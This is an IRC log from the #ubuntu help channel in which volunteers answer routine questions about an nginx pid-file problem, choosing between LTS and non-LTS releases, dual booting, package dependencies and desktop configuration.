[00:00] <x666MafiA> well that may not be true because the work i was doing required root so it may have just seemed that way
[00:00] <x666MafiA> where can i look to debug the issue?
[00:00] <konserv-> Hello #ubuntu, I have a strange problem with nginx at the moment. When I start the nginx service the pid file reports one pid, but it's not the correct pid. In fact the pid in the pid file doesn't even exist. Running ps aux | grep nginx gives me another pid for the master process
[00:01] <konserv-> Because of I can't use the service command to restart, start, stop or check the status
[00:01] <konserv-> Has anyone have this problem before?
[00:01] <x666MafiA> konserv-, I would say delete the file
[00:02] <x666MafiA> konserv-, but thats just a guess ;)
[00:02] <konserv-> I'll give it a try
[00:02] <reisio> konserv-: stop service, kill by pid, start service
[00:02] <zdot> x666MafiA: well, if it segfaults, demsg should contain a note about it
[00:02] <reisio> means the service configuration file is imperfect
[00:02] <zdot> x666MafiA: also, strace might be helpfull
[00:03] <konserv-> Can't really stop the service as such
[00:03] <konserv-> Without correcting the pid file
[00:03] <x666MafiA> zdot, tnx ill give shot and report back
[00:03] <konserv-> Still I'll try stopping it and deleting
[00:03] <rance> I have a minimal ubuntu box that I installed lxde on and use startx to run.  what is the dpkg-reconfigure command to select a different environment for use with startx?
[00:05] <zdot> rance: i think you should use .xinitrc for it
[00:05] <konserv-> reisio, x666MafiA: Stopped, deleted and restarted. Pid says 3710, master process is 3731
[00:05] <konserv-> Weird
[00:06] <x666MafiA> got me ;)
[00:07] <reisio> konserv-: kill -9 3731 && kill -9 3710
[00:08] <konserv-> reisio: The 3731 process is not running. ps aux | grep 3710 returns nothing
[00:08] <konserv-> Could it still be running?
[00:08] <zdot> ok guys, i think it's time for zzzs, bbl
[00:08] <xeeder> sup guys
[00:08] <reisio> konserv-: kill what's running, stop the service, start the service
[00:09] <xeeder> i am new to this whole linux concept; so i need your help
[00:09] <konserv-> reisio: I have tried that, I just realised something else though going to try it,
[00:10] <xeeder> there are 2 versions available at ubunto web; LTS and latest one. which should i install?
[00:10] <konserv-> reisio: I figured it out, I'll explain in a few seconds
[00:11] <dhyana> hi
[00:11] <xeeder> there are 2 versions available at ubunto web; LTS and latest one. which should i install?
[00:12] <vemacs> do you want long-term support?
[00:12] <vemacs> or do you prefer to be on the cutting edge?
[00:12] <reisio> dhyana: hi
[00:12] <reisio> xeeder: doesn't matter, you shouldn't be waiting years between updates
[00:12] <reisio> get the latest
[00:13] <xeeder> i have never used anything but windows; so which should i instal?
[00:13] <reisio> xeeder: mmm, that depends
[00:13] <reisio> xeeder: do you want something more like Windows, or less?
[00:13] <xeeder> reisio: ofc something like windows
[00:13] <reisio> in appearance, that is
[00:13] <reisio> xeeder: okay, go with Kubuntu, then
[00:13] <xeeder> yeah thats what i meant
[00:14] <reisio> whatever the latest version you can get it should be fine
[00:14] <konserv-> reisio: Previously I had troubles with no pid being created, turns out that the pid is of course created at a path configured by nginx and not by what you pass for the --pidfile argument to start-stop-daemon. I had missed that and added --make-pidfile which of course made it write the wrong pid to the correct location
[00:14] <konserv-> Changed the pidflocation in the init.d script to correspond to nginx and it works.
[00:14] <konserv-> reisio, x666MafiA: Thanks for the help
[00:15] <reisio> g
[00:15] <reisio> j
[00:15] <x666MafiA> "i need help trouble shooting my sys, i have both nemo and nautilus file managers installed, when i run either as gksudo/gksu they both constantly crash."  Ok here is the output: http://pastebin.com/Z5XsNQ3t
[00:15] <x666MafiA> konserv-, np if u consider delete it help ;)
[00:15] <xeeder> but in the mean time i do want to learn linux too and i figured the best way to go about this is to install and use it first; i dont think i need everything ready and served on plate; i like clean OS installation and then i install applications which i need.
[00:16] <Mega1> any help with my error http://paste.ubuntu.com/6121542/
[00:17] <xeeder> thats how i have been doing it on windows for years; clean msdn install; clean office install; clean codecs; clean everything *so that no bloatware gets on my lappy*
[00:17] <lapt0p_> I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance.
[00:18] <arayaq> Mega1: have you tried -f flag?
[00:19] <xeeder> that 9 month version; does it stop working after 9 months or what?
[00:19] <reisio> xeeder: doesn't matter, you should update long before that
[00:19] <xeeder> by update you mean reinstallation right?
[00:20] <arayaq> P
[00:20] <xeeder> or like updates as in windows update; automatic and on its own?
[00:20] <lapt0p_> I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance.
[00:22] <SyloSybin> In order to install a package I am required to install a bunch of other ones, is there a way to do that simply?  (total Linux noob here, trying to learn.)
[00:22] <hexacode> anyone know a terminal based email client? im wanting to get into multiple email accounts via imap, but i need scripts to run on those emails...so im looking for one thats scriptable or at least hackable via pipes..and can take commands to do certain things, like download attachment from X
[00:23] <reisio> SyloSybin: without a network connection, you mean?
[00:23] <xeeder> which mediaplayer will i choose after installation? i am currently using homecinema with madvr (LAV codecs); will that be available in linux?
[00:23] <xeeder> ubuntu*
[00:23] <SyloSybin> I'm not sure what you mean, I have a network connection
[00:24] <reisio> hexacode: sendmail / fetchmail ?
[00:24] <reisio> SyloSybin: then the package manager should take care of deps
[00:25] <xeeder> and how would i know that program is for that thing? i mean where should i get my applications?
[00:26] <SyloSybin> Ah thank you reisio
[00:26] <xeeder> and how would i be able to tell the difference between good ones and bad ones? i dont like hit and trial as i already have corrupted a desktop by installing windows multiple times
[00:27] <xeeder> so i dont want same with ubunto
[00:27] <lapt0p_> I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance.
 that 9 month version; does it stop working after 9 months or what?
 xeeder: doesn't matter, you should update long before that
[00:28] <x666MafiA> "i need help trouble shooting my sys, i have both nemo and nautilus file managers installed, when i run either as gksudo/gksu they both constantly crash."  Ok here is the output: http://paste.ubuntu.com/6121798/UPDATE*** Got rid of first set of errors, issue with seahorse plugin for nemo***  Here is latest http://paste.ubuntu.com/6121796/
[00:29] <xeeder> reisio what does that mean?>>> "you should update long before that"
[00:29] <upd> xeeder, just download normal ubuntu and test it
[00:29] <xeeder> should i reinstall ubunto every 9 months?
[00:29] <upd> no.
[00:29] <Mega1> arayaq yes i have tried the -f flag
[00:29] <LjL> xeeder: no, you can upgrade to a new release without reinstalling. still, you should consider using an LTS (Long Term Support) version, which is supported for longer than 9 months.
[00:30] <LjL> xeeder: as to the "apps", the safe choice is to only use the many that can be found in the official Ubuntu repositories (that is, in Software Center or using the program "apt-get" or equivalents)
[00:31] <xeeder> Thanks LjL :) finally!
[00:31] <Kenjamin> ejv: i dont want to install grub, i just want to install linux to a seperate hard drive and be able to boot to that HD without it touching the MBR
[00:31] <Kenjamin> will it do that if i just install it to a seperate HD without partitioning the windows HD?
[00:31] <reisio> xeeder: you shouldn't ever "reinstall"
[00:31] <reisio> xeeder: and you don't need specifically a long term support release, because no system should be that stagnant
[00:31] <reisio> not even a server
[00:32] <xeeder> ok getting a new release
[00:32] <LjL> reisio: so are you basically saying that the LTS releases exist for nothing, and also, that there are no circumstances under which a reinstall is the best choice?
[00:32] <xeeder> thank you all
[00:32] <Axlin> xeeder: The LTS versions are supported for 5 years, with new versions coming out every 2 years. That's the way to go if you don't want to upgrade fequently.
[00:32] <hdon> hi all :) what indicator applet can monitor and control CPU frequency?
[00:33] <LjL> reisio: the fact you don't have to reinstall doesn't mean a distribution upgrade isn't a little more inconvenient than just "automatic updates". it's still mostly automatic, but kind of a bigger deal
[00:33] <LjL> err, xeeder
 reisio: so are you basically saying that the LTS releases exist for nothing, and also, that there are no circumstances under which a reinstall is the best choice?
[00:33] <xeeder> just wondering what would be the answer to that^?
[00:35] <Axlin> xeeder: The answer is that the LTS versions exist for those who want a stable, more long-term OS. They receive continual support for 5 years from their release date.
[00:35] <eezstreet> i need help
[00:35] <xeeder> like a windows xp user gets sp1, sp2 and sp3? am i right?
[00:35] <eezstreet> i am trying to dual boot ubuntu on a primarily windows machine
[00:35] <former> 我用wubi在Win8下安装ubuntukylin通过修改info文件成功安装了但在重启后进入系统时提示wubildr.mbr 错误 状态是0xc000007b 请问改怎么解决？
[00:35] <eezstreet> two partitions
[00:35] <xeeder> for the span of 2-3 years
[00:36] <eezstreet> the ubuntu partition being 100GB, windows taking up 400GB
[00:36] <LjL> !cn | former
[00:36] <eezstreet> problem
[00:36] <xeeder> but OS remains same?
[00:36] <eezstreet> when i installed ubuntu
[00:36] <eezstreet> i didn't select side-by-side booting
[00:36] <eezstreet> so how can i now get windows to boot again
[00:36] <eezstreet> or does that require a reinstall :/
[00:36] <LjL> xeeder: not really like that. both LTS and non-LTS versions of Ubuntu receive constant updates (for security issues, for instance - generally not for actual new versions of programs, mind)
[00:36] <mshadle> anyone here do any prompt-less php apt installs (so it doesn't ask for php.ini overwrites)? i see no debconf-get-selections PHP options... i see a note about php.ini but no key/value/type to use... even google isn't helping
[00:36] <LjL> xeeder: it's just... non-LTS receives them for 9 months, LTS receives them for 5 years
[00:37] <xeeder> LjL what would you choose? if given the options of LTS and non-LTS?
[00:38] <eezstreet> i really need help
[00:38] <LjL> xeeder, the issue is a bit different from the way it's like on Windows, because on Ubuntu, contrary to Windows, the version of the *OS* you have is somewhat tied to the versions of the *applications* you will have, since the applications are from the Ubuntu repositories
[00:38] <LjL> xeeder: i generally tend to use LTS. i used LTS even when the support term for non-LTS wasn't this short, so even more now
[00:40] <dr_willis> xeeder:  if you have a very new laptop. you may want to try the nonlts/latest releases. since the laptop may be better supported in it.
[00:40] <dr_willis> xeeder: it all depends on your needs
[00:40] <reisio> xeeder: yes to lts, there _should_ be no reason to reinstall, short of changing arch
[00:41] <reisio> xeeder: realistically if you break the system well enough that reinstallation takes less time than just fixing it... :p
[00:41] <lapt0p_> I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance.
[00:42] <xeeder> i am using i5 2nd gen based laptop; my needs are browsing, music, movies, and office/programming
[00:42] <dr_willis> lapt0p_: you sure the file is not currupted? do other pdfs work?
[00:43] <dr_willis> xeeder: how okd is it?
[00:43] <dr_willis> old
[00:43] <lapt0p_> dr_willis: What do you mean by "corrupted" ?
[00:43] <former> i was installed ubuntukylin by wubi, but when going into the os, it was told me wubildr.mbr has a error status is 0xc000007b,how to make it?
[00:43] <king-crimson_> D
[00:43] <LjL> xeeder: you could always get the latest LTS and then, if you decide you prefer something more bleeding-edge, upgrade from inside it
[00:43] <dr_willis> lapt0p_:  the file may be screwed up
[00:43] <xeeder> well its n5110
[00:43] <HackerII> i agree with LjL
[00:43] <lapt0p_> dr_willis: It used to work fine, i don't know what happened. Other PDF's work fine btw.
[00:44] <dr_willis> xeeder:  1yr old? 2 yr?
[00:44] <LjL> xeeder: note that if you have an LTS, you can upgrade to the next LTS directly (when that's out); if you have a non-LTS, on the other hand, you can only upgrade to the version immediately next - so long upgrades are... long
[00:44] <dr_willis> lapt0p_: that dosent mean its not gotten messed up somehow
[00:44] <Sach> Trying to install facebook-rss from the Software Centre.  I get the message "dependency is not satisfiable: python (<2.7)"
[00:44] <lapt0p_> Why would someone bother that much if the version he is installing is LTS or non - LTS
[00:44] <xeeder> will my old applications work? or will i have to install new applications everytime i get an upgrade?
[00:44] <lapt0p_> dr_willis: What could've happened?
[00:45] <reisio> LTS doesn't really mean more stable, though, it just means you can carelessly put off upgrading it for a longer duration
[00:45] <reisio> lapt0p_: there is no good reason :)
[00:45] <LjL> xeeder, the applications will be part of the upgrade, unless you have applications not from the repositories, in which case you're mostly on your own
[00:46] <xeeder> and on LTS i get to use old applications for 5 years; i cant upgrade applications? since you said old releases are somewhat linked into the applications, reisio
[00:46] <dr_willis> lapt0p_:  have some others un here look at the file. see if it works for them
[00:46] <LjL> reisio seems to have a lot of subjective and baseless opinions he feels the need to share with a support channel like this one, i guess i'll go to bed and let him continue
[00:46] <lapt0p_> dr_willis: Some other "un" ?
[00:48] <Axlin> xeeder: You get application updates in LTS versions as well. It's mostly the general OS features which differ. LTS versions maintain a fairly constant feature set for the sake of stability. Your applications like Firefox and such will receive updates, though.
[00:48] <Guest75335> samba server on ubuntu 12.04, moving 309.9GBs to Mint desktop = 5 hours to do, over GB network, does that sound right ???
[00:49] <vinceableworld> Can someone tell me the best movie maker for ubuntu?
[00:49] <poee> hi. I have both kde and gnome installed on my computer, but firefox uses nautilus(gnome) for opening folders. I d like to change this to dolphin(kde). how do I do this?
[00:49] <reisio> xeeder: there's no application worth using that is going to disappear without being replaced by something obviously superior
[00:49] <HackerII> xeeder  for what you described as using your system for, 12.04 lts would prolly suit you just fine, its what i use
[00:49] <reisio> xeeder: like hugely obviously
[00:49] <reisio> the whole point of free software is to keep the software you like, forever, for as long as anyone is willing to maintain it
[00:50] <reisio> so the only thing that kills software is BETTER software
[00:50] <reisio> and therefore there is no reason to put off updating for five years, or even a month, or a week, or two days
[00:51] <timClicks> hi there, I am try to submit print jobs to an SMB server. I need to send username:password that is different from my local user account. The authentication dialog that pops up when I submit a job doesn't seem to respect the credentials that I'm sending through
[00:51] <vinceableworld> new to ubuntu - tryin to get comfortable - keep goin back to windows...
[00:51] <vinceableworld> I need a decent movie maker.
[00:51] <reisio> the point of LTS is to give people the opportunity to be lazy :p it doesn't serve a _good_ purpose, it serves a _comforting_ purpose
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[00:52] <lapt0p_> vinceableworld: Just don't quit, struggle with it some time, you'll see how it'll become better than Windows, you just need time to get the "general image" :)
[00:52] <dr_willis_> !info kino
[00:52] <Guest75335> yeah ubuntu kinda sucks try linux mint with cinnamon desktop
[00:52] <Axlin> reisio: What are you talking about? LTS versions exist for the sake of stability, which is perfect for most people, and they do receive updates just like any other version. Laziness has nothing to do with it.
[00:52] <Sach> Trying to install facebook-rss from the Software Centre.  I get the message "dependency is not satisfiable: python (<2.7)"
[00:52] <lapt0p_> And yes, Ubuntu is over-tailored in my opinion. I use Lubuntu
[00:53] <xeeder> "If you want the "latest and greatest", use the in-between releases, but be prepared to upgrade every six months or so and suffer frequent teething problems. –"
[00:53] <xeeder> taken from forums^
[00:53] <HackerII> you got it
[00:53] <Axlin> xeeder: Exactly. Non-LTS versions are released every 6 months, and only supported for 9 months. Unless you want to go upgrading about twice a year, stick with LTS, and you'll be just fine.
[00:53] <Guest75335> Lubuntu humm never tried it checking it out now
[00:53] <reisio> Axlin: nope
[00:53] <dr_willis_> !info python
[00:54] <reisio> in fact most software is _updated_ / developed for the sake of stability
[00:54] <reisio> xeeder: six months is a very long time, you should be upgrading every day
[00:54] <lapt0p_> It's minimalistic, with the LXDE Desktop environment
[00:54] <reisio> xeeder: and they're probably talking about brand new Ubuntu-specific Unity issues, not general OS stuff
[00:55] <upd> wow i will also try lubuntu seems perfect for acer aspire one, ubuntu is kindoff slow
[00:55] <xeeder> reisio what do you mean by upgrade? bug fixes or reinstall a newer OS over an old because i cant do the later one every now and then.
[00:55] <dr_willis_> upd:  i use lubuntu and xubuntu in my netbooks
[00:56] <dr_willis_> xeeder: a reinstall can be faster in some cases
[00:56] <upd> cool so which one should i go for lubuntu or xubuntu
[00:56] <reisio> xeeder: likes I said, you never want to reinstall, unless you've broken your system so much it takes longer to fix it than reinstall
[00:57] <dr_willis_> and reinstallung ubuntu is a lot easier than reinstalling windows
[00:57] <reisio> upd: is that a netbook?
[00:57] <upd> yes
[00:57] <Axlin> xeeder: By "upgrade" i meant upgrade to the new version of Ubuntu every 6-9 months, because that's what you'll have to do if you go with a non-LTS version. With LTS versions you can go as far as 5 years between OS upgrades
[00:57] <reisio> dr_willis_: is it?
[00:57] <reisio> getting your software back is easier, that's true
[00:57] <reisio> but it's to be avoided regardless of OS
[00:57] <xeeder> Axlin thanks; looks like i missed it :)
[00:58] <dr_willis_> reisio: yes. ubuntu perhaps 2 hrs.. windows took me 2 days last time  :-P
[00:59] <xeeder> can i dual boot windows 8.1 x64 with it? it has its start button back so.. :p
[00:59] <Axlin> Yes
[01:00] <xeeder> both OSes can be on same drive or they have to be different?
[01:00] <dr_willis_> same drive... difernet partitions.
[01:00] <vemacs> they can be on the same drive
[01:00] <dr_willis_> easier if you have 2 seperate hard drives
[01:01] <dr_willis_> can be a LOT easier with 2 hard drives
[01:02] <xeeder> i dont think my laptop can have 2 drives at once; as this option may be more suitable for non-laptop users
[01:02] <reisio> xeeder: http://classicshell.sf.net/
[01:02] <linuxuz3r> where else can i find linux blogs
[01:02] <Sach> Trying to install facebook-rss from the Software Centre.  I get the message "dependency is not satisfiable: python (<2.7)"
[01:02] <dr_willis_> xeeder:  my last laptop had 2 hard drives. ;)  it was a big laptop..
[01:02] <Jeruvy> xeeder one advantage is you don't have to worry about dual boot (grub UEFI) issues if you use 2 drives.
[01:03] <jrib> Sach: that's a pretty weird dependency...
[01:03] <dr_willis_> it wants python 'Less' then version 2.7 ? is 2.6 even in the repos any more?
[01:03] <jrib> Sach: anyway, pastebin output of « sudo apt-get update && apt-cache policy facebook-rss python »
[01:03] <Ari-Yang> xeeder, dual booting...it can be done, you just need to put plenty of effort into the setup you want is all
[01:04] <jrib> dr_willis_: 2.7 should be backwards compatible which is why it seems weird
[01:04] <dr_willis_> jrib:  i always seem to see people asking how to have old versions isntalled at the same time  - I dont python much. so no idea on version differances
[01:04] <SyloSybin> is there a text editor I can use that meant for coding? Like one that assists with code standards and such.
[01:04] <xeeder> how much space should i allot to linux partition? and which format should i use for that?
[01:04] <dr_willis_> xeeder:  also be suree to have a dvd-recovery disk set made up for your windows system just in case you need to totally reinstall windows.
[01:05] <dr_willis_> xeeder:  the installer will suggest ext4. and  a workable system can be on as small as 20gb.  id suggest 40+gb.
[01:05] <Sach> jrib: http://pastebin.com/FBbbLU2S
[01:05] <dr_willis_> you get smaller then 20gb and you can fill things up quickly
[01:05] <xeeder> i am pretty good with windows :p so even if corrupts i would install a new one; its linux which is a mystery to me :D
[01:06] <dr_willis_> xeeder:  toy with ubuntu or lubuntu in virtualbox - is an easy way to go through the steps with no risk
[01:06] <jrib> Sach: start by fixing your sources.list
[01:06] <reisio> xeeder: corrupts, reinstalll, these are Windows things :p
[01:06] <chsados> if i burn the 13.04 iso can i update from 12.04 without losing apps and user data?
[01:07] <dr_willis_> chsados:  you need to do 12..04 -> 12.10 -> 13.04
[01:07] <chsados> ahh thats no fun
[01:07] <dr_willis_> LTS -> lts or   nonlts---> each release in btween
[01:07] <kostkon> chsados, wait till april and you'll be able to do 12.04 -> 14.04
[01:08] <chsados> too impatient :D ill just go through the motions
[01:08] <kostkon> ok  then :/
[01:08] <dr_willis_> chsados:  and 13.10 is due out like.. next month. ;)
[01:08] <chsados> is 13.1 an LTS?
[01:09] <dr_willis_> chsados:  no.
[01:09] <Axlin> The next LTS will be 14.04
[01:09] <chsados> ahh
[01:09] <reisio> it doesn't matter, because you don't need an LTS :)
[01:09] <dr_willis_> 14.04 is...   recall the    LTS --> LTS upgrade path. ;)
[01:09] <Ari-Yang> which is due april 2014
[01:09] <reisio> not particularly, that is
[01:09] <chsados> april 2014?
[01:09] <Ari-Yang> no, DECEMBER!
[01:09] <chsados> ahh i get the naming convention now
[01:09] <Ari-Yang> :D
[01:09] <jrib> Sach: have you removed the unavailable ppa from your sources?
[01:09] <dr_willis_> version # is the date./    year/month of release
[01:09] <reisio> and the fourteenth month is octagon
[01:10] <chsados> thats smart much better than windows naming convention :P
[01:10] <Sach> jrib: still trying to figure out how.
[01:10] <Guest75335> no it's never coming out 13.10 release was canceled
[01:10] <dr_willis_> chsados:  phht.. go reinstall Windows 8 Ultimate Supreme Home Light edition! and be done witth it
[01:10] <dr_willis_> ;)
[01:10] <jrib> Sach: find the file (either /etc/apt/sources.list or some file in /etc/apt/sources.list.d/) and delete the lines that correspond to it (or use the Software Sources program)
[01:12] <xeeder> thank you dr_willis_, reisio, Axlin and anyone who helped me in here! will see you here after it finishes :p and most important thing i forgot; what should i do for drivers?
[01:13] <Ari-Yang> xeeder, ubuntu should automatically get your drivers for you...
[01:13] <xeeder> i have an nvidia GT525M video card; will it work?
[01:13] <andrej> is there a way to display which security fixes are available, rather than seeing all updates, or just the number of security fixes?
[01:13] <jrib> andrej: comment out the non-security repos
[01:14] <kill_jacob> i hate how ubuntu puts the close button on the left side of the title bar is there any way to change that?
[01:14] <reisio> xeeder: chances are everything will 'just work'
[01:14] <reisio> xeeder: if something doesn't, just come here
[01:14] <jrib> andrej: you can also do an aptitude search but aptitude isn't default
[01:14] <wilee-nilee> kill_jacob, yes dcon-editor
[01:14] <wilee-nilee> dconf*
[01:14] <mrrcp> will irssi now let you autojoin two channels on the same network?
[01:14] <mrrcp> not
[01:14] <jrib> mrrcp: of course it will
[01:15] <mrrcp> hmm
[01:15] <andrej> jrib - i do have aptitude installed ... what's the magic incantation? Your first suggestion won't work if I already did an aptitude update, right?
[01:15] <kill_jacob> just have to use the right delimitter
[01:15] <jrib> andrej: well you can just comment and then update again
[01:15] <jrib> !aptitude
[01:15] <xeeder> ok sure :) Thanks everyone! you guys are doing alot for this community! i hope i will be part of this process :) cya
[01:16] <jrib> andrej: http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s03s05.html don't know offhand the exact incantation
[01:16] <mrrcp> so jrib whats the proper way to do it?
[01:16] <mrrcp> i show /channels list  i show both chans tied to both networks but it will not join both
[01:16] <jrib> andrej: probably: http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s03s05.html#searchSection
[01:16] <jrib> mrrcp: i have not used irssi in years; try #irsii
[01:17] <jrib> mrrcp: (but spell it right)
[01:17] <jrib> andrej: or origin
[01:18] <dr_willis_> just  /join #chahnnel    /join #channel2   should  join 2 channels
[01:19] <dr_willis_> if you want them both SEEN at the same time. in a split window. thats a differnt story
[01:19] <wilee-nilee> kill_jacob, if needed, http://handytutorial.com/move-window-buttons-to-right-in-ubuntu-12-10-12-04/
[01:19] <jrib> mrrcp: or archive <-- I think this is the right one
[01:20] <kill_jacob> thanks wilee, i'm using the dconf-editor from dconf-tools package, so i'll need to read up on that
[01:20] <gooligan> hey folks, whats the noob channel?
[01:20] <jrib> mrrcp: this seems to work for me: aptitude search '~Araring-security~U'
[01:21] <reisio> gooligan: this here
[01:22] <mrrcp> ahh
[01:22] <mrrcp> i wasnt /save 'ing the conf
[01:22] <mrrcp> duh!
[01:22] <jrib> andrej: this seems to work for me: aptitude search '~Araring-security~U'
[01:25] <chiques> I have the 64 bit version of Ubuntu and it does not have the "Reinstall 13.04" option as described on http://askubuntu.com/questions/317501/ubuntu-13-04-clean-install-over-other-ubuntu-13-04 . Does anyone have any suggestions?
[01:25] <mnemonicj> i'm running ubuntu server with gnome-classic gui, sometimes i need to run programs as root to make changes. i was reading gksu is no longer recommended
[01:25] <mnemonicj> what alternative do i have?
[01:26] <lotuspsychje> chiques: what options Do you see?
[01:26] <jrib> mnemonicj: you can use gksudo or gksu I guess.  What changes are you making exactly?
[01:26] <mnemonicj> i'm trying to change the server where to download updates from
[01:26] <mnemonicj> currently it's set to usa, but i live in Asia
[01:27] <mnemonicj> i can access the interface to make the change, but when i apply changes they stay the same
[01:27] <mnemonicj> jrib: ^
[01:27] <chiques> lotuspsychje, I see the options shown on http://askubuntu.com/questions/291376/how-to-reinstall-ubuntu-13-04-raring-ringtail-safely
[01:28] <chiques> lotuspsychje, problem is I don't understand that document.
[01:28] <jrib> mnemonicj: how are you accessing it?
[01:28] <kill_jacob> what would the application menu integration with the panel be called?
[01:28] <lostinubuntu> I have a hp mini 210 1076nr netbook crap but heck 20 dollars and a new keyboard I save it I would like to run ubuntu so far ubuntu 10.10 was the fastest and other then it doesnt allow me to install anything  due to the end of life I am guessing? or is there a way around that
[01:28] <mnemonicj> jrib: i go to "Applications/System Tools/Preferences/Software & Updates"
[01:28] <lotuspsychje> chiques: you dont mind erasing all your current /home data?
[01:29] <aleza84> any idea where can i debug why conky works on terminal but not on desktop?
[01:29] <jrib> mnemonicj: where does gksu come in?=
[01:29] <lotuspsychje> lostinubuntu: lubuntu or xubuntu maybe?
[01:29] <dr_willis_> aleza84:  you mean auto starting it?
[01:29] <chiques> lotuspsychje, No, it's a new install so I don't care about wiping the /home folder. I do care about keeping my paritions thought. I have XP installed and I don't enjoy installing that system over and over again
[01:29] <mnemonicj> jrib: i'm guessing, it'll allow me to run these gui programs as root?
[01:30] <lotuspsychje> chiques: then choose erase disk and install ubuntu, it will reinstall 13.04 clean
[01:30] <jrib> mnemonicj: I suggest you just do this from the terminal; it's a server anyway
[01:30] <lostinubuntu> ok  can you theme them the same way as the main one
[01:30] <mnemonicj> yes
[01:30] <aleza84> dr_willis_, It used to show everything on desktop but now It doesnt (when I run conky on terminal it shows the data on terminal, but not on the desktop)
[01:30] <chiques> lotuspsychje, I was hoping not to do that. That will wipe my other partitions.
[01:30] <mnemonicj> jrib: thanks
[01:30] <lostinubuntu>  I wasnt trying to have to learn all this stuff over
[01:31] <lotuspsychje> chiques: ah you want to keep xp?
[01:31] <chiques> lotuspsychje,
[01:31] <dr_willis_> aleza84:  try with a default .conkyrc setup.  could be a weird config. or it could be conky  is below the desktop window for some reason
[01:31] <chiques> yes
[01:31] <chiques> lotuspsychje, yes
[01:31] <lotuspsychje> !dualboot | chiques
[01:32] <lotuspsychje> chiques: i would highly recommend you installing 13.04 clean for whole drive though
[01:32] <gooligan> noob question: using Xchat-Gnome, how can i bring up the user list that would normally appear on the right of my chat box?
[01:32] <chiques> lotuspsychje, uuugh, I was hoping I wouldn't have to do that.
[01:32] <dr_willis_> gooligan:  most people quickly dump xchat-gnome and use the normal xchat.
[01:32] <lotuspsychje> gooligan: preferences, show userlist
[01:32] <chiques> lotuspsychje, I'm going to try to check the format box of my Ubuntu 13.04 /sda parition and reinstall.
[01:33] <lotuspsychje> chiques: you have any packages on xp you dont find on ubuntu?
[01:33] <lostinubuntu>  cant you still add repos to ubuntu 10.10 and install things that way
[01:33] <jrib> !10.10 | lostinubuntu
[01:34] <chiques> lotuspsychje, I have some engineering CAD software that will only run on XP so I need it at least for that.
[01:34] <jrib> lostinubuntu: end of life means there are no more security updates; you should upgrade to a supported release ASAP!
[01:34] <lotuspsychje> chiques: there is playonlinux for ubuntu, that can run CAD software as smooth as xp
[01:34] <dr_willis_> chiques:  its possible it may run well in xp inside virtualbox.
[01:35] <lotuspsychje> !info playonlinux | chiques
[01:35] <ObrienDave> chiques... which CAD system?
[01:35] <chiques> lotuspsychje, dr_willis_ It uses USB dongles for licensing and I 've had problems with that before
[01:36] <dr_willis_> chiques:  ewww.. how 1980's ;)
[01:36] <lotuspsychje> :p
[01:36] <aleza84> dr_willis_, restarted, basic configuration still nothing
[01:36] <chiques> ObrienDave, Agilent GENESYS and Bricscad mostly
[01:37] <lotuspsychje> chiques: if you completly switch to ubuntu, we will enlighten your life mate
[01:37] <chiques> dr_willis_, stuff's expensive. Can't be renewing if I don't have to :-)
[01:37] <ObrienDave> in the 1980's they were using serial or printer port dongles LMAO
[01:37] <dr_willis_> aleza84:  test out that conky-manager tool i saw on either omgubuntu or webupd8 - it makesusing conky a lot easier.
[01:37] <chiques> lotuspsychje, I have completley moved to Ubuntu :-) Just this works stuff throws a monkey wrench in the agenda :p
[01:37] <lotuspsychje> chiques: https://help.ubuntu.com/community/Bricscad
[01:37] <dr_willis_> !info qcad
[01:38] <chiques> lotuspsychje, the Linux version is a different license (gotta buy another :(    )
[01:38] <ObrienDave> chiques... you mean MS works?
[01:38] <chiques> ObrienDave, Sorry, typo "work", I use these Windows apps for work (employment)
[01:39] <ObrienDave> chiques... ok
[01:39] <mrrcp> conky manager is over rated
[01:39] <dr_willis_> mrrcp:  seems to work well for me.. given the very few alternatives out there
[01:40] <lotuspsychje> chiques: hmm not sure indeed if you will be able to bypass that license..
[01:40] <Chat1337> Omg
[01:40] <lotuspsychje> chiques: but its worth a try on wine, virtualbox and playonlinux
[01:40] <aleza84> dr_willis_, I dont have that one
[01:40] <lotuspsychje> Chat1337: can we help you?
[01:40] <aleza84> I under debian
[01:40] <mrrcp> Im not sure I understand the point in having a conky manager for something you want in place all the time.. just my opinion
[01:41] <chiques> lotuspsychje, I'll try that anyway. THanks guys
[01:41] <dr_willis_> mrrcp:  to configure it  how you want. and it auto-sets up the auto-run at login properly.
[01:41] <Chat1337> I don't how this work though??
[01:41] <[1]Roach> Question for everyone, which do you all prefer 12.10 or 12.04?
[01:41] <mrrcp> .04
[01:42] <dr_willis_> Chat1337:  how what works?
[01:42] <reisio> [1]Roach: both old
[01:42] <dr_willis_> [1]Roach:  totally depends on your needs.    12.04 is lts.. 12.10 is npot. and really if you need the latest reelase then you dont want 12.10
[01:42] <Chat1337> This chat finders ?
[01:42] <reisio> Chat1337: hrmm?
[01:42] <dr_willis_> !irc | Chat1337
[01:43] <Chat1337> Oh right 😊
[01:43] <mrrcp> 12.04 i find to work with alot of systems right out of the box.
[01:43] <mrrcp> 13 is still buggy
[01:43] <dhyana> :)
[01:43] <dr_willis_> life is buggy
[01:43] <mrrcp> no kidding
[01:44] <[1]Roach> Ok, yeah that is very true
[02:06] <lotuspsychje> mrrcp: ive installed 13.04 on many boxes already without issues
[02:06] <vinceableworld> any particular reason I do "ls" and see a directory... but then "cd" and can't change to it?
[02:07] <trism> vinceableworld: what are the permissions on the directory?
[02:08] <vinceableworld> not sure... it's a user directory on my windows drive
[02:08] <vinceableworld> wait no... it's just the home directory
[02:08] <vinceableworld> folder in the home directory
[02:09] <trism> vinceableworld: ls -l will show you the permissions
[02:09] <vinceableworld> ah ty
[02:10] <vinceableworld> drwxr-xr-x
[02:11] <vinceableworld> Why would it list the directory but then say "no such directory?"
[02:11] <trism> vinceableworld: looks fine, not sure. I thought maybe it was -x for some reason
